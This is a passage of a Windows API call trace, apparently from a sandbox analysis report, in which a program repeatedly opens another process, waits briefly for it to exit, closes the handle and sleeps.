hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0137.570] Sleep (dwMilliseconds=0x1) [0137.593] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0137.593] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0137.603] CloseHandle (hObject=0xad4) returned 1 [0137.603] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0137.603] Sleep (dwMilliseconds=0x1) [0137.647] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0137.647] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0137.651] CloseHandle (hObject=0xad4) returned 1 [0137.651] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0137.651] Sleep (dwMilliseconds=0x1) [0137.664] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0137.664] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0137.692] CloseHandle (hObject=0xad4) returned 1 [0137.692] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0137.692] Sleep (dwMilliseconds=0x1) [0137.695] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0137.695] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0137.710] CloseHandle (hObject=0xad4) returned 1 [0137.711] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0137.711] Sleep (dwMilliseconds=0x1) [0137.726] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0137.726] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0137.743] CloseHandle (hObject=0xad4) returned 1 [0137.743] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0137.743] Sleep (dwMilliseconds=0x1) [0137.758] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0137.758] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0137.773] CloseHandle (hObject=0xad0) returned 1 [0137.773] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0137.773] Sleep (dwMilliseconds=0x1) [0137.789] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0137.789] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0137.829] CloseHandle (hObject=0xad0) returned 1 [0137.829] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0137.829] Sleep (dwMilliseconds=0x1) [0137.835] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0137.835] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0137.851] CloseHandle (hObject=0xad0) returned 1 [0137.851] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0137.851] Sleep (dwMilliseconds=0x1) [0137.866] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0137.867] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0137.901] CloseHandle (hObject=0xad0) returned 1 [0137.901] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0137.901] Sleep (dwMilliseconds=0x1) [0137.913] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0137.913] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0137.929] CloseHandle (hObject=0xad0) returned 1 [0137.929] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0137.929] Sleep (dwMilliseconds=0x1) [0137.945] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0137.945] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0137.960] CloseHandle (hObject=0xad0) returned 1 [0137.960] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0137.960] Sleep (dwMilliseconds=0x1) [0137.976] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0137.976] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0137.991] CloseHandle (hObject=0xad0) returned 1 [0137.991] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0137.991] Sleep (dwMilliseconds=0x1) [0138.019] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0138.019] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0138.022] CloseHandle (hObject=0xad0) returned 1 [0138.022] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0138.022] Sleep (dwMilliseconds=0x1) [0138.038] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0138.038] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0138.063] CloseHandle (hObject=0xad0) returned 1 [0138.063] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0138.063] Sleep (dwMilliseconds=0x1) [0138.069] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0138.069] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0138.085] CloseHandle (hObject=0xad0) returned 1 [0138.085] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0138.085] Sleep (dwMilliseconds=0x1) [0138.101] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0138.101] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0138.116] CloseHandle (hObject=0xad0) returned 1 [0138.116] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0138.116] Sleep (dwMilliseconds=0x1) [0138.132] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0138.132] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0138.149] CloseHandle (hObject=0xad0) returned 1 [0138.149] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0138.149] Sleep (dwMilliseconds=0x1) [0138.163] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0138.163] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0138.179] CloseHandle (hObject=0xad0) returned 1 [0138.179] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0138.179] Sleep (dwMilliseconds=0x1) [0138.195] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0138.195] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0138.210] CloseHandle (hObject=0xad0) returned 1 [0138.210] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0138.210] Sleep (dwMilliseconds=0x1) [0138.237] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0138.238] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0138.241] CloseHandle (hObject=0xad0) returned 1 [0138.241] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0138.241] Sleep (dwMilliseconds=0x1) [0138.265] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad0 [0138.266] WaitForSingleObject (hHandle=0xad0, dwMilliseconds=0xa) returned 0x102 [0138.273] CloseHandle (hObject=0xad0) returned 1 [0138.273] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0138.273] Sleep (dwMilliseconds=0x1) [0138.289] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0138.289] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0138.303] CloseHandle (hObject=0xad4) returned 1 [0138.303] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0138.303] Sleep (dwMilliseconds=0x1) [0138.319] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0138.319] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0138.335] CloseHandle (hObject=0xad4) returned 1 [0138.335] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0138.335] Sleep (dwMilliseconds=0x1) [0138.350] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0138.350] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0138.366] CloseHandle (hObject=0xad4) returned 1 [0138.366] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0138.366] Sleep (dwMilliseconds=0x1) [0138.384] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0138.384] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0138.397] CloseHandle (hObject=0xad4) returned 1 [0138.397] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0138.397] Sleep (dwMilliseconds=0x1) [0138.414] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0138.414] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0138.428] CloseHandle (hObject=0xad4) returned 1 [0138.428] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0138.428] Sleep (dwMilliseconds=0x1) [0138.444] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0138.444] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0138.459] CloseHandle (hObject=0xad4) returned 1 [0138.459] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0138.459] Sleep (dwMilliseconds=0x1) [0138.475] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0138.475] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0138.490] CloseHandle (hObject=0xad4) returned 1 [0138.491] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0138.491] Sleep (dwMilliseconds=0x1) [0138.512] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0138.512] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0138.522] CloseHandle (hObject=0xad4) returned 1 [0138.522] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0138.522] Sleep (dwMilliseconds=0x1) [0138.537] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0138.537] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0138.553] CloseHandle (hObject=0xad4) returned 1 [0138.553] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0138.553] Sleep (dwMilliseconds=0x1) [0138.576] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0138.576] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0138.584] CloseHandle (hObject=0xad4) returned 1 [0138.584] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0138.584] Sleep (dwMilliseconds=0x1) [0138.600] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0138.600] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0138.615] CloseHandle (hObject=0xad4) returned 1 [0138.615] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0138.615] Sleep (dwMilliseconds=0x1) [0138.631] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0138.631] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0138.646] CloseHandle (hObject=0xad4) returned 1 [0138.647] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0138.647] Sleep (dwMilliseconds=0x1) [0138.672] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0138.672] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0138.679] CloseHandle (hObject=0xad4) returned 1 [0138.679] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0138.679] Sleep (dwMilliseconds=0x1) [0138.693] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0138.693] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0138.709] CloseHandle (hObject=0xad4) returned 1 [0138.709] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0138.709] Sleep (dwMilliseconds=0x1) [0138.724] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0138.724] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0138.740] CloseHandle (hObject=0xad4) returned 1 [0138.740] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0138.740] Sleep (dwMilliseconds=0x1) [0138.757] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0138.757] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0138.789] CloseHandle (hObject=0xad4) returned 1 [0138.789] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0138.789] Sleep (dwMilliseconds=0x1) [0138.803] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0138.803] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0138.818] CloseHandle (hObject=0xad4) returned 1 [0138.818] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0138.818] Sleep (dwMilliseconds=0x1) [0138.834] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0138.834] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0138.849] CloseHandle (hObject=0xad4) returned 1 [0138.849] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0138.849] Sleep (dwMilliseconds=0x1) [0138.865] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0138.865] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0138.883] CloseHandle (hObject=0xad4) returned 1 [0138.883] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0138.883] Sleep (dwMilliseconds=0x1) [0138.896] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0138.896] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0138.920] CloseHandle (hObject=0xad4) returned 1 [0138.920] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0138.920] Sleep (dwMilliseconds=0x1) [0138.927] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0138.927] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0138.943] CloseHandle (hObject=0xad4) returned 1 [0138.943] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0138.943] Sleep (dwMilliseconds=0x1) [0138.960] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0138.960] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0138.974] CloseHandle (hObject=0xad4) returned 1 [0138.974] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0138.974] Sleep (dwMilliseconds=0x1) [0138.990] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0138.990] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0139.005] CloseHandle (hObject=0xad4) returned 1 [0139.005] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0139.005] Sleep (dwMilliseconds=0x1) [0139.021] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0139.021] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0139.036] CloseHandle (hObject=0xad4) returned 1 [0139.036] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0139.036] Sleep (dwMilliseconds=0x1) [0139.054] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0139.054] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0139.082] CloseHandle (hObject=0xad4) returned 1 [0139.082] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0139.082] Sleep (dwMilliseconds=0x1) [0139.083] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0139.083] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0139.099] CloseHandle (hObject=0xad4) returned 1 [0139.099] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0139.099] Sleep (dwMilliseconds=0x1) [0139.114] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0139.114] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0139.131] CloseHandle (hObject=0xad4) returned 1 [0139.131] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0139.131] Sleep (dwMilliseconds=0x1) [0139.146] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0139.146] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0139.161] CloseHandle (hObject=0xad4) returned 1 [0139.161] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0139.161] Sleep (dwMilliseconds=0x1) [0139.177] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0139.177] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0139.192] CloseHandle (hObject=0xad4) returned 1 [0139.192] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0139.193] Sleep (dwMilliseconds=0x1) [0139.208] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0139.208] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0139.245] CloseHandle (hObject=0xad4) returned 1 [0139.245] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0139.245] Sleep (dwMilliseconds=0x1) [0139.255] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0139.255] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0139.270] CloseHandle (hObject=0xad4) returned 1 [0139.270] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0139.271] Sleep (dwMilliseconds=0x1) [0139.287] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0139.287] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0139.302] CloseHandle (hObject=0xad4) returned 1 [0139.302] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0139.302] Sleep (dwMilliseconds=0x1) [0139.317] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0139.317] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0139.333] CloseHandle (hObject=0xad4) returned 1 [0139.333] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0139.333] Sleep (dwMilliseconds=0x1) [0139.350] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0139.350] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0139.364] CloseHandle (hObject=0xad4) returned 1 [0139.364] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0139.364] Sleep (dwMilliseconds=0x1) [0139.381] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0139.381] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0139.398] CloseHandle (hObject=0xad4) returned 1 [0139.399] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0139.399] Sleep (dwMilliseconds=0x1) [0139.411] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0139.411] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0139.426] CloseHandle (hObject=0xad4) returned 1 [0139.427] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0139.427] Sleep (dwMilliseconds=0x1) [0139.473] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 0xad4 [0139.473] WaitForSingleObject (hHandle=0xad4, dwMilliseconds=0xa) returned 0x102 [0139.473] CloseHandle (hObject=0xad4) returned 1 [0139.473] PeekMessageW (in: lpMsg=0x238ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x238ff68) returned 0 [0139.473] Sleep (dwMilliseconds=0x1) [0139.489] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x7ac) returned 